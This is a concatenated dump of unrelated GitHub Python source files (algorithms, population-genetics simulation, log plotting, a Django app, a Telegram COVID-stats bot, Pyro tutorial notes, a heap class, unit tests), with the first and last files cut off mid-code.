mergeList(self, head1, head2):\n if not head2:\n return head1\n elif not head1:\n return head2\n\n ret = ListNode(-1000000)\n h1 = head1\n h2 = head2\n h = ret\n while h1 and h2:\n if h1.val < h2.val:\n h.next = h1\n h1 = h1.next\n else:\n h.next = h2\n h2 = h2.next\n h = h.next\n if h1:\n h.next = h1\n if h2:\n h.next = h2\n\n return ret.next\n\n\n\ns = Solution()\ns.sortList(ListNode(0)).output()\nprint()\n\nl = ListNode(1)\nl.next = ListNode(4)\nnode = l.next\nvals = [3, 2, 5, 2]\nfor val in vals:\n node.next = ListNode(val)\n node = node.next\nl.output()\nprint()\ns.sortList(l).output()\nprint()\n","repo_name":"shhuan/algorithms","sub_path":"leetcode/medium/Sort_List.py","file_name":"Sort_List.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12136556870","text":"#!/usr/bin/env python3\n\nimport sys, os\nimport msprime\nimport pyslim\nimport numpy as np\n\nhelpMsg = '''\n usage: $./recapitation.py <slim_tree.trees> <slim_dem.params> <N_chrs> <out_pref>\n\n - recapitates and samples from the tree-sequence output from SLiM simulations\n'''\n\ndef main(args):\n if len(args) != 5: #4 arguments\n return helpMsg\n\n slim_tree_path = args[1]\n slim_params_path = args[2]\n N = int(args[3])\n out_path = args[4]+\".trees\"\n\n with open(slim_params_path, \"r\") as paramF:\n lines = paramF.readlines()\n\n mu = float(lines[0].strip())\n rho = float(lines[1].strip())\n Ne_recap = int(lines[2].strip().split()[1])\n\n ts = pyslim.load(slim_tree_path)\n ts_recap = ts.recapitate(recombination_rate=rho, Ne=Ne_recap)\n sampN = np.random.choice(ts_recap.samples(), size=N, replace=False)\n ts_samp = ts_recap.simplify(samples=sampN)\n\n ts_samp.dump(out_path)\n\n return 0\n\nsys.exit(main(sys.argv))","repo_name":"CshlSiepelLab/arg-selection","sub_path":"sims/recapitation.py","file_name":"recapitation.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"21"} +{"seq_id":"75187680693","text":"import os, json\nimport argparse\nimport matplotlib.pyplot as plt\n\ndef parse_args():\n parser=argparse.ArgumentParser()\n parser.add_argument(\"--output_dir\", type=str, required=False, default=\"/opt/data/curious_poet/curious_poet_paper_dataset/centralized_ICM\")\n parser.add_argument(\"--run_name\", type=str, required=False, default = \"icm_gamma10.0_wCM_8marA\") #'all' to run on all runs_folders\n parser.add_argument(\"--latest_log_filename\", type=str, default=None) \n parser.add_argument(\"--output_data_filename\", type=str, required=False, default='annecsVsIterations.json')\n parser.add_argument(\"--output_figure_filename\", type=str, required=False, default='annecsVsIterations.png')\n args=parser.parse_args()\n return args\n\ndef find(s, ch):\n return [i for i, ltr in enumerate(s) if ltr == ch]\n\ndef get_longest_log_filename(args, run_name) -> str:\n listdir = os.listdir(os.path.join(args.output_dir, run_name))\n logs = [a for a in listdir if 'run.log' in a]\n logs.sort(key=len)\n return logs[-1]\n\ndef recursively_extract_log_filenames(args, run_name) -> [str]:\n # in retrospect, this could have been done by simply sorting all the log filenames by length...\n listdir = os.listdir(os.path.join(args.output_dir, run_name))\n\n ret = ['run.log']\n if not args.latest_log_filename is None:\n log = args.latest_log_filename\n else:\n log = get_longest_log_filename(args, run_name)\n\n if log == ret[0]:\n return ret\n starts = find(log, '[')\n starts.reverse()\n ends = find(log, ']')\n assert len(starts) == len(ends)\n\n for i in range(len(starts)):\n inside_brackets = log[starts[i]+1:ends[i]]\n fn = inside_brackets+\".resume_run.log\"\n ret.append(fn)\n assert fn in listdir\n # print(ret)\n ret.append(log)\n return ret\n\ndef main():\n \"\"\"\n Given the last run log from a series of resumes, open all the logs (starting with run.log) in sequence\n and parse out the ANNECS vs iteration values. \n\n \"\"\"\n args = parse_args()\n if args.run_name == 'all':\n run_names = []\n for run_name in os.listdir(args.output_dir):\n if os.path.isdir(os.path.join(args.output_dir, run_name)) and 'gamma' in run_name:\n run_names.append(run_name)\n else:\n run_names = [args.run_name]\n run_names.sort()\n\n for run_name in run_names:\n print(f\"processing run name: {run_name}\")\n logs = recursively_extract_log_filenames(args, run_name)\n print(f\"log files\")\n print(logs)\n \n iteration = []\n annecs = []\n latest_annecs_value = 0\n # this will need to handle overlapping iterations between log files\n for fn in logs:\n print(fn)\n filename = os.path.join(args.output_dir, run_name, fn)\n with open(filename, 'r') as f:\n lines = f.readlines()\n for idx, line in enumerate(lines):\n if 'added to ANNECS:' in line and 'True' in line:\n latest_annecs_value += 1\n print(f\"latest_annecs_value: {latest_annecs_value}\")\n if 'Iter=' in line:\n start = line.find('Iter=')+5\n end = line.find(' ', start)\n latest_iter = int(line[start:end])\n\n \n if latest_iter == 0 or latest_iter != iteration[-1]: #new iter number(sometimes there are repeats)\n iteration.append(latest_iter)\n \n\n annecs.append(latest_annecs_value)\n assert len(iteration) == len(annecs)\n with open(os.path.join(args.output_dir, run_name, args.output_data_filename), 'w+') as f:\n json.dump({'iteration': iteration, 'annecs':annecs}, f) \n\n # plot individually\n fig, axs = plt.subplots(1,1)\n axs.plot(iteration, annecs)\n axs.set_title(f\"ANNECS vs Training Iterations \\n Run name: {run_name}\")\n axs.grid(True)\n \n plt.savefig(os.path.join(args.output_dir, run_name, args.output_figure_filename))\n print('plot created')\n\n\n print('done')\n\n \nif __name__ == \"__main__\":\n main()","repo_name":"act3-ace/Curious-POET","sub_path":"cpoet/utils/parse_log_plot_annecs.py","file_name":"parse_log_plot_annecs.py","file_ext":"py","file_size_in_byte":4260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1867358136","text":"# 통계학\nimport sys\nN = int(sys.stdin.readline()) # 홀수\n\nnums_dict = {}\nnums = []\nfor _ in range(N):\n num = int(sys.stdin.readline().rstrip())\n nums.append(num)\n if num in nums_dict:\n nums_dict[num] += 1\n else:\n nums_dict[num] = 1\n \n# 산술평균\nnums.sort()\nprint(round(sum(nums) / N))\n\n# 중앙값\nprint(nums[N//2])\n\n# 최빈값\nmodes = []\nmax_cnt = max(nums_dict.values())\n\nfor num, cnt in nums_dict.items():\n if cnt == max_cnt:\n modes.append(num)\n\nmodes.sort()\nprint(modes[1]) if len(modes) > 1 else print(modes[0])\n\n# 범위\nprint(max(nums) - min(nums))","repo_name":"watchstep/TIS-python","sub_path":"BAEKJOON/silver3/2108.py","file_name":"2108.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35086205618","text":"import re, pyperclip, datetime, os\n\n# ffmpeg code to create ffout.txt asf:\n# ffmpeg -i ytVidNew.mkv -filter:v \"select='gt(scene,0.2)',showinfo\" -f null - 2> ffout.txt\n\nwith open(\"ffout.txt\") as f:\n data = f.read()\n\nsRes = re.findall(\"pts_time:(.+)pos:\", data)\n\n# making a dic of ep nos & names from the gathered jpgs\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\nfilenames = next(os.walk(os.path.dirname(os.path.abspath(__file__))), (None, None, []))[2] # [] if no file\nepNoAndNamesDic = {}\nfor fname in filenames:\n if fname[-3:] == 'jpg': \n fnameSplitted = fname[:-4].split()\n epNoAndNamesDic[int(fnameSplitted[1])] = ' '.join(fnameSplitted[2:])\n\nchaptersInDesc = \"0:00:00 - Ep 47 Project Raven\\n\"\n\nfor idx,res in enumerate(sRes):\n timeStamp = int(float(res.strip()))\n tsInHHMMSS = str(datetime.timedelta(seconds=timeStamp))\n wholeLine = f\"{tsInHHMMSS} - Ep {idx+48} {epNoAndNamesDic[idx+48]} \\n\"\n chaptersInDesc += wholeLine\n\npyperclip.copy(chaptersInDesc)","repo_name":"firozzer/DarknetDiariesJokes","sub_path":"archived/chapterMaker.py","file_name":"chapterMaker.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"922584234","text":"\"\"\" Subscriber \"\"\"\n# -*- coding: utf-8 -*-\nimport datetime\nimport uuid\nfrom eea.meeting.constants import ACTION_APPROVE, ACTION_REJECT\nfrom eea.meeting.interfaces import ISubscriber\nfrom plone import api\nfrom plone.api.exc import MissingParameterError\nfrom plone.dexterity.content import Item\nfrom zope.interface import implementer\n\n\n@implementer(ISubscriber)\nclass Subscriber(Item):\n \"\"\" EEA Meeting Subscriber content type\"\"\"\n\n def state(self):\n \"\"\" Subscriber's state \"\"\"\n return api.content.get_state(self)\n\n def get_details(self):\n \"\"\" Details for subscriber \"\"\"\n try:\n member = api.user.get(userid=self.userid)\n except MissingParameterError:\n member = None\n\n if not member:\n return {'edit_url': \"{0}/edit\".format(self.absolute_url())}\n\n return {\n 'first_name': member.getProperty('first_name', ''),\n 'last_name': member.getProperty('last_name', ''),\n 'fullname': member.getProperty('fullname', ''),\n 'telephone': member.getProperty('telephone', ''),\n 'phone_numbers': ', '.join(\n member.getProperty('phone_numbers', [])),\n 'institution': member.getProperty('institution', ''),\n 'from_country': member.getProperty('from_country', ''),\n 'from_city': member.getProperty('from_city', ''),\n 'position': member.getProperty('position', ''),\n 'address': member.getProperty('address', ''),\n 'edit_url': \"{0}/edit\".format(self.absolute_url())\n }\n\n def is_allowed_state_change(self):\n \"\"\" Used as transition guard expression to prevent state change\n for subscribers of ended meetings\n\n /portal_workflow/meeting_subscriber_workflow/transitions/approve\n /manage_properties\n Guard expression:\n python:here.is_allowed_state_change() is True\n \"\"\"\n meeting_end_date = self.aq_parent.aq_parent.end.replace(tzinfo=None)\n today = datetime.datetime.today()\n is_meeting_ended = (meeting_end_date - today).days < -1\n is_allowed_state_change = is_meeting_ended is not True\n return is_allowed_state_change\n\n\ndef state_change(obj, evt):\n \"\"\" state change \"\"\"\n\n subscribers = obj.aq_parent\n meeting = subscribers.get_meeting()\n subscribers_state = api.content.get_state(subscribers)\n if hasattr(evt, 'action'):\n if (evt.action == ACTION_APPROVE and subscribers_state != 'full' and\n subscribers.approved_count() >= meeting.max_participants):\n api.content.transition(obj=subscribers, transition='to_full')\n elif (evt.action == ACTION_REJECT and subscribers_state == 'full' and\n subscribers.approved_count() < meeting.max_participants):\n api.content.transition(obj=subscribers, transition='to_open')\n\n\ndef on_add(obj, evt):\n \"\"\" on add \"\"\"\n\n obj.uid = uuid.uuid4()\n meeting = obj.aq_parent.aq_parent\n if meeting.auto_approve:\n api.content.transition(obj=obj, transition='approve')\n\n\ndef on_delete(obj, evt):\n \"\"\" on delete \"\"\"\n subscribers = obj.aq_parent\n meeting = subscribers.get_meeting()\n subscribers_state = api.content.get_state(subscribers)\n if (subscribers_state == 'full' and meeting.allow_register and\n subscribers.approved_count() < meeting.max_participants):\n api.content.transition(obj=subscribers, transition='to_open')\n","repo_name":"eea/eea.meeting","sub_path":"src/eea/meeting/content/subscriber.py","file_name":"subscriber.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"19251695465","text":"import logging\nfrom behave.api.async_step import use_or_create_async_context, AsyncContext\n\ndef before_all(context):\n if not context.config.log_capture:\n logging.basicConfig(level=logging.DEBUG)\n\ndef before_scenario(context, scenario):\n context.async_loop = use_or_create_async_context(context, \"async_context1\").loop\n context.port_seq = 5000\n context.node = {}\n context.block_new = {}\n","repo_name":"mrkovec/coinpy","sub_path":"features/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40168670188","text":"from django.contrib import admin\nfrom django.urls import path\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom . import views\nurlpatterns = [\n path('',views.shop,name=\"shop\"),\n path('about/',views.about,name=\"about\"),\n path('details/',views.details,name=\"details\"),\n path('login/details',views.details,name=\"details\"),\n path('entry/',views.entry,name=\"entry\"),\n path('entry/about/',views.about,name=\"about\"),\n path('shop/details/',views.details,name=\"details\"),\n path('shop/buy/',views.buy,name=\"buy\"),\n path('server/',views.server,name=\"server\"),\n path('server/control/',views.control,name=\"control\"),\n path('server/control/delete',views.delete,name=\"delete\"),\n path('shop/buy/order/',views.order,name=\"order\"),\n path('server/control/save_in_db',views.save,name=\"save_in_db\"),\n path('login/',views.login,name=\"login\"),\n path('login/val',views.val,name=\"val\"),\n path('shop/search',views.search,name=\"search\"),\n path('shop/logout',views.logout,name=\"logout\"),\n path('server/control/admin/',admin.site.urls),\n path('shop/catagory_1/',views.catogories_1,name=\"catogories_1\"),\n path('shop/catagory_2/',views.catogories_2,name=\"catogories_2\"),\n path('shop/catagory_3/',views.catogories_3,name=\"catogories_3\"),\n path('shop/catagory_4/',views.catogories_4,name=\"catogories_4\"),\n path('shop/catagory_5/',views.catogories_5,name=\"catogories_5\"),\n path('shop/catagory_6/',views.catogories_6,name=\"catogories_6\"), \n]","repo_name":"abhijith-dev/AppleCart","sub_path":"AppleCart/client/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35156366197","text":"\"\"\"\n@author: enrico\n\n\"\"\"\nfrom model import Model\nimport numpy as np\nimport shutil\n\nmodel = Model(model_path='tf_models', ui_model=False)\n\nshutil.rmtree('confusion_matrices', ignore_errors=True)\n\nEPOCHS = 15\nN_SPLITS = 5\n\n# evaluate multilabel model\nmultilabel_results = model.evaluate_model(\n model.features, model.df_multilabel_labels, 'multilabel', epochs=EPOCHS, n_splits=N_SPLITS)\n# summarize performance\nprint('Multilabel model accuracy: %.3f (%.3f)' %\n (np.mean(multilabel_results), np.std(multilabel_results)))\n\n# evaluate multiclass model\nfor i in range(len(model.categories)):\n multiclass_results = model.evaluate_model(\n features=model.features, labels=model.df_multiclass_labels[:, i],\n task='multiclass', epochs=EPOCHS, n_splits=N_SPLITS, cat=i)\n # summarize performance\n print('Multiclass model accuracy - ' + str(model.categories[i]) + ': %.3f (%.3f)' %\n (np.mean(multiclass_results), np.std(multiclass_results)))\n","repo_name":"andrienr/Hotel-Reviews-Classification","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24417778777","text":"import numpy as np\nfrom sklearn.svm import LinearSVR as SVR\nfrom gen import get_eigenvalues\nfrom sklearn.externals import joblib\nimport time, sys\n\n# load the pre trained linear SVR\n# print('load model')\nsvr = joblib.load('1494690169.1373851model.pkl') \n\n# npzfile = np.load('large_data.npz')\n# X = npzfile['X']\n# y = npzfile['y']\n\n# # we already normalize these values in gen.py\n# # X /= X.max(axis=0, keepdims=True)\n\n# svr = SVR(C=10)\n# svr.fit(X, y)\n\ntest_file = sys.argv[1]\nans_file = sys.argv[2]\n\ntestdata = np.load(test_file)\ntest_X = []\nfor i in range(200):\n data = testdata[str(i)]\n vs = get_eigenvalues(data)\n test_X.append(vs)\n\ntest_X = np.array(test_X)\npred_y = svr.predict(test_X)\n\n# print('write predict')\nwith open(ans_file, 'w') as f:\n print('SetId,LogDim', file=f)\n for i, d in enumerate(pred_y):\n x = d\n if(np.abs((np.round(d) - d)) <= 0.2):\n x = np.round(d)\n x = np.log(x) \n print(f'{i},{x}', file=f)","repo_name":"alvinbhou/ML2017","sub_path":"hw4/dim.py","file_name":"dim.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4253439583","text":"import telebot\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nfrom random import randint\r\n\r\n\r\ntoken = ''\r\nbot = telebot.TeleBot(token)\r\nurl_rf = 'https://index.minfin.com.ua/reference/coronavirus/geography/russia/'\r\n\r\n\r\n@bot.message_handler(commands=['start'])\r\ndef first_message(message):\r\n \"\"\"Greeting and keyboard output.\"\"\"\r\n keyboard = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\r\n keyboard.row('Статистика по миру', 'Статистика по России')\r\n keyboard.row('Заражён ли я?')\r\n bot.send_message(message.chat.id, 'Привет, что хочешь узнать?',\r\n reply_markup=keyboard)\r\n\r\n\r\n@bot.message_handler(regexp='Статистика по России')\r\ndef stats_rf(message):\r\n \"\"\" It displays statistics on coronavirus from the website of\r\n the Ministry of Finance, but for Russia.\r\n \"\"\"\r\n requ_rf = requests.get(url_rf)\r\n soup = BeautifulSoup(requ_rf.content, 'html.parser')\r\n stats_all = soup.find('strong', class_='black').text\r\n stats_dead = soup.find('strong', class_='red').text\r\n stats_healthy = soup.find('strong', class_='green').text\r\n bot.send_message(message.chat.id, '🇷🇺😷Всего заболевших - ' + stats_all)\r\n bot.send_message(message.chat.id, '🇷🇺💀Смертельные случаи - ' + stats_dead)\r\n bot.send_message(message.chat.id, '🇷🇺✨Выздоро­вевшие - ' + stats_healthy)\r\n\r\n\r\n@bot.message_handler(regexp='Статистика по миру')\r\ndef stats_global(message):\r\n \"\"\" Displays statistics on coronavirus from the website of\r\n the Ministry of Finance.\r\n \"\"\"\r\n requ_gl = requests.get('https://index.minfin.com.ua/reference/coronavirus')\r\n soup = BeautifulSoup(requ_gl.content, 'html.parser')\r\n stats_all = soup.find('strong', class_='black').text\r\n stats_dead = soup.find('strong', class_='red').text\r\n stats_healthy = soup.find('strong', class_='green').text\r\n bot.send_message(message.chat.id, '😷Всего заболевших - ' + stats_all)\r\n bot.send_message(message.chat.id, '💀Смертельные случаи - ' + stats_dead)\r\n bot.send_message(message.chat.id, '✨Выздоро­вевшие - ' + stats_healthy)\r\n\r\n\r\n@bot.message_handler(regexp='Заражён ли я?')\r\ndef corona_test(message):\r\n \"\"\"With a 50 to 50 chance, it shows your result on coronavirus.\"\"\"\r\n markup = telebot.types.InlineKeyboardMarkup()\r\n markup.add(telebot.types.InlineKeyboardButton(text='Проверить ещё раз',\r\n callback_data='yes'))\r\n rand = randint(0, 11)\r\n if rand >= 5:\r\n bot.send_photo(message.chat.id, 'https://clck.ru/MkPER',\r\n reply_markup=markup)\r\n else:\r\n bot.send_message(message.chat.id, 'Сейчас - нет🦠',\r\n reply_markup=markup)\r\n\r\n\r\n@bot.callback_query_handler(func=lambda call: True)\r\ndef query_handler(call):\r\n \"\"\"Re-conducting a coronavirus test.\"\"\"\r\n if call.data == 'yes':\r\n bot.delete_message(call.message.chat.id, call.message.message_id)\r\n # Removes previous coronavirus result.\r\n markup = telebot.types.InlineKeyboardMarkup()\r\n markup.add(telebot.types.InlineKeyboardButton(text='Проверить ещё раз',\r\n callback_data='yes'))\r\n rand = randint(0, 11)\r\n if rand >= 5:\r\n bot.send_photo(call.message.chat.id, 'https://clck.ru/MkPER',\r\n reply_markup=markup)\r\n else:\r\n bot.send_message(call.message.chat.id, 'Сейчас - нет🦠',\r\n reply_markup=markup)\r\n\r\n\r\n@bot.message_handler(commands=['info'])\r\ndef what(message):\r\n \"\"\"Information about the bot.\"\"\"\r\n bot.send_message(message.chat.id, '🤑My bitcoin wallet🤑\\\r\n 1FLApcQPyJVmf3uevcN2JiXWpWD86xEVod')\r\n\r\n\r\n@bot.message_handler(content_types=['text'])\r\ndef wrong_command(message):\r\n \"\"\"Unknown message.\"\"\"\r\n bot.send_message(message.chat.id, '???????????????????')\r\n\r\n\r\nif __name__ == '__main__':\r\n bot.infinity_polling()\r\n","repo_name":"sekaskateboards/covid_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4281,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1539057485","text":"def numtopattern(index,k):\n\tif k == 1:\n\t\tprint (numbsym(index))\n\t\treturn numbsym(index)\n\tprefixindex = index//4\n\tprint(prefixindex)\n\tr = index%4\n\tprint(r)\n\tsymbol = numbsym(r)\n\t#print(symbol)\n\tprefixpattern = numtopattern(prefixindex, k-1)\n\tprint(prefixpattern+symbol)\n\treturn prefixpattern + symbol\n\ndef numbsym(index):\n\tnum = {0:\"A\", 1:\"C\", 2:\"G\", 3:\"T\"}\n\t#print(num[index])\n\treturn num[index]\n\nimport sys # you must import \"sys\" to read from STDIN\nindex, k = sys.stdin.read().splitlines()\nprint(index)\nprint(k)\nwith open(\"result.txt\", 'a') as out:\n\tout.write(str(numtopattern(int(index),int(k))))","repo_name":"tyang1/Bioinformatics_Algorithm","sub_path":"numtop.py","file_name":"numtop.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28234924234","text":"# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:light\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.5.0\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# # SVI Part I\n#\n# http://pyro.ai/examples/svi_part_i.html\n\n# ## Setup\n\n# The different pieces of model() are encoded via the mapping:\n#\n# * observations: `pyro.sample` with the `obs` argument\n# * latent random variables: `pyro.sample`\n# * parameters: `pyro.param`\n#\n# Note that the `obs` is used for conditioning, either you call `pyro.condition()` with on the model and use the `data` parameter to pass a dictionary of `{'sample name': observation}`, or you can call `obs=value` directly inside `pyro.sample`. \n#\n# As a gotcha: In Pyro they use \"latent variables\" ($\\mathbf{z}$) to mean unobservable `pyro.sample` calls, not the latent variables from BNN+LV.\n\n# ## Model learning\n\n# Note that the last equation shown is just Bayes theorem.\n\n# ## Guide\n\n# Want to know the posterior distribution $p(\\mathbf{z}|\\mathbf{x})$ but it's intractable.\n# Instead approximate it with the **guide** $q_{\\phi}(\\mathbf{z})$, where $\\phi$ are the variational parameters.\n#\n# The guide does not contain observations as it must be a properly normalised distribution.\n#\n# For every latent variable (`pyro.sample` statement without an observation) in the `model()`, there must be a matching `pyro.sample` in the `guide()` with the same name (e.g. `pyro.sample('z_1')`).\n# The actual distributions called in each can be different, just the names must match.\n\n# ## Evidence Lower Bound (ELBO)\n\n# Need to revisit this and check how ELBO gets to KL divergence.\n\n# ## `SVI` class\n\n# `SVI` does variational inference in Pyro.\n# Currently only supports ELBO loss, in future more will be added.\n#\n# The user needs to provide three things: the model, the guide, and an optimizer.\n# As an example:\n# ```python\n# import pyro\n# from pyro.infer import SVI, Trace_ELBO\n# svi = SVI(model, guide, optimizer, loss=Trace_ELBO())\n# ```\n\n# ## Optimizers\n\n# Pyro provides its own optimizers you have to use.\n# These are just wrappers around PyTorch optimizers.\n# The difference is that Pyro will generate a new optimizer for every parameter in the model (every `pyro.param`).\n# This is because the `model()` and the `guide()` parameters can be created dynamically during learning (since they are named within the functions, the names can be dynamic so long as they match between the model and the guide).\n#\n# For most cases we don't care much and just call something like:\n# ```python\n# from pyro.optim import Adam\n#\n# adam_params = {\"lr\": 0.005, \"betas\": (0.95, 0.999)}\n# optimizer = Adam(adam_params)\n# ```\n# which will apply the Adam optimizer with identical settings to all parameters.\n#\n# Othersie you can pass a callable to the optimizer with the arguments `module_name` and `param_name`, e.g.:\n# ```python\n# from pyro.optim import Adam\n#\n# def per_param_callable(module_name, param_name):\n# if param_name == 'my_special_parameter':\n# return {\"lr\": 0.010}\n# else:\n# return {\"lr\": 0.001}\n#\n# optimizer = Adam(per_param_callable)\n# ```\n\n# ## A simple example\n\nimport math\nimport os\nimport torch\nimport torch.distributions.constraints as constraints\nimport pyro\nfrom pyro.optim import Adam\nfrom pyro.infer import SVI, Trace_ELBO\nimport pyro.distributions as dist\n\n# this is for running the notebook in our testing framework\nsmoke_test = ('CI' in os.environ)\nn_steps = 2 if smoke_test else 2000\n\n# enable validation (e.g. validate parameters of distributions)\n# We have a newer version\n# assert pyro.__version__.startswith('1.3.0')\npyro.enable_validation(True)\n\n# clear the param store in case we're in a REPL\npyro.clear_param_store()\n\n# create some data with 6 observed heads and 4 observed tails\ndata = []\nfor _ in range(6):\n data.append(torch.tensor(1.0))\nfor _ in range(4):\n data.append(torch.tensor(0.0))\n\n\ndef model(data):\n # define the hyperparameters that control the beta prior\n alpha0 = torch.tensor(10.0)\n beta0 = torch.tensor(10.0)\n # sample f from the beta prior\n f = pyro.sample(\"latent_fairness\", dist.Beta(alpha0, beta0))\n # loop over the observed data\n for i in range(len(data)):\n # observe datapoint i using the bernoulli likelihood\n pyro.sample(\"obs_{}\".format(i), dist.Bernoulli(f), obs=data[i])\n\n\ndef guide(data):\n # register the two variational parameters with Pyro\n # - both parameters will have initial value 15.0.\n # - because we invoke constraints.positive, the optimizer\n # will take gradients on the unconstrained parameters\n # (which are related to the constrained parameters by a log)\n alpha_q = pyro.param(\"alpha_q\", torch.tensor(15.0),\n constraint=constraints.positive)\n beta_q = pyro.param(\"beta_q\", torch.tensor(15.0),\n constraint=constraints.positive)\n # sample latent_fairness from the distribution Beta(alpha_q, beta_q)\n pyro.sample(\"latent_fairness\", dist.Beta(alpha_q, beta_q))\n\n\n# setup the optimizer\nadam_params = {\"lr\": 0.001, \"betas\": (0.90, 0.999)}\noptimizer = Adam(adam_params)\n\n# setup the inference algorithm\nsvi = SVI(model, guide, optimizer, loss=Trace_ELBO())\n\n# do gradient steps\nfor step in range(n_steps):\n svi.step(data)\n if step % 100 == 0:\n print('.', end='')\n\n# grab the learned variational parameters\nalpha_q = pyro.param(\"alpha_q\").item()\nbeta_q = pyro.param(\"beta_q\").item()\n\nalpha_q, beta_q\n\n# here we use some facts about the beta distribution\n# compute the inferred mean of the coin's fairness\ninferred_mean = alpha_q / (alpha_q + beta_q)\n# compute inferred standard deviation\nfactor = beta_q / (alpha_q * (1.0 + alpha_q + beta_q))\ninferred_std = inferred_mean * math.sqrt(factor)\n\nprint(\"\\nbased on the data and our prior belief, the fairness \" +\n \"of the coin is %.3f +- %.3f\" % (inferred_mean, inferred_std))\n","repo_name":"kahn-jms/bayesian-network","sub_path":"pyro_tutorial_svi_part_i.py","file_name":"pyro_tutorial_svi_part_i.py","file_ext":"py","file_size_in_byte":5992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12753288199","text":"__author__ = 'HaoBin'\n\nclass Node():\n def __init__(self, data, left=None, right=None):\n self.node = data\n self.left = None\n self.right = None\n\nclass NodeHeap():\n def __init__(self,root):\n self.root = Node(root)\n\n#####################################\n\nclass Heap():\n def __init__(self):\n self.array = []\n self.count = 0\n\n def __len__(self):\n return self.count\n\n def empty(self):\n return self.count == 0\n\n def peek(self):\n if self.empty() is False:\n return self.array[0]\n else:\n return None\n\n def pop(self):\n if self.empty() is False:\n item = self.array[0]\n self.array[0] = self.array[self.count-1]\n self.downHeap(0)\n self.count -= 1\n return item\n else:\n return None\n\n def insert(self, key):\n self.array.append(key)\n self.count += 1\n k = self.count-1\n self.upHeap(k)\n\n def parent(self,i):\n if i == 0:\n return 0\n elif i % 2 == 0:\n return (i-2) // 2\n elif i % 2 == 1:\n return (i-1) // 2\n\n\n def upHeap(self,i):\n parent = self.parent(i)\n while self.array[parent] < self.array[i] and i > 0:\n self.array[i], self.array[parent] = self.array[parent], self.array[i]\n i = parent\n parent = self.parent(i)\n\n def downHeap(self,i):\n child= (2*i) + 1\n n = len(self)-1\n while child <= n:\n if child < n:\n if self.array[child] < self.array[child+1]:\n child += 1\n if self.array[i] < self.array[child]:\n self.array[i], self.array[child] = self.array[child], self.array[i]\n i = child\n child = (2*i) + 1\n else:\n break\n\n\n\n\nif __name__ == \"__main__\":\n x = Heap()\n x.insert(0)\n x.insert(1)\n print(x.array)\n\n x.insert(2)\n x.insert(3)\n x.insert(4)\n x.insert(5)\n x.insert(6)\n x.insert(7)\n # print(x.array)\n print(x.pop())\n #\n print(len(x))\n #x.insert(8)\n print(x.array)","repo_name":"hbinl/hbinl-scripts","sub_path":"Python/P5 - Sorting and Edit Distance/Q5.py","file_name":"Q5.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23592780318","text":"\"\"\"\nUnit tests for the water-regulation module\n\"\"\"\n\nimport sys\nimport unittest\nfrom unittest.mock import MagicMock\nfrom pump import Pump\nfrom sensor import Sensor\nfrom .controller import Controller\nfrom .decider import Decider\nsys.path.append('../pump')\nsys.path.append('../sensor')\n\n\nclass DeciderTests(unittest.TestCase):\n \"\"\"\n Unit tests for the Decider class\n \"\"\"\n\n def test_off_too_high(self):\n \"\"\"\n scenario: PUMP_OFF, above target water level margin\n :return: PUMP_OUT\n \"\"\"\n decider = Decider(100, 0.05)\n pump = Pump('127.0.0.1', 8000)\n pump.set_state = MagicMock(return_value=True)\n actions = {\n 'PUMP_IN': pump.PUMP_IN,\n 'PUMP_OUT': pump.PUMP_OUT,\n 'PUMP_OFF': pump.PUMP_OFF,\n }\n result = decider.decide(110, \"PUMP_OFF\", actions)\n self.assertEqual(actions[\"PUMP_OUT\"], result)\n\n def test_off_too_low(self):\n \"\"\"\n scenario: PUMP_OFF, below target water level margin\n :return: PUMP_IN\n \"\"\"\n decider = Decider(100, 0.05)\n pump = Pump('127.0.0.1', 8000)\n pump.set_state = MagicMock(return_value=True)\n actions = {\n 'PUMP_IN': pump.PUMP_IN,\n 'PUMP_OUT': pump.PUMP_OUT,\n 'PUMP_OFF': pump.PUMP_OFF,\n }\n result = decider.decide(90, \"PUMP_OFF\", actions)\n self.assertEqual(actions[\"PUMP_IN\"], result)\n\n def test_off_just_right(self):\n \"\"\"\n scenario: PUMP_OFF, at target water level\n :return: PUMP_OFF\n \"\"\"\n decider = Decider(100, 0.05)\n pump = 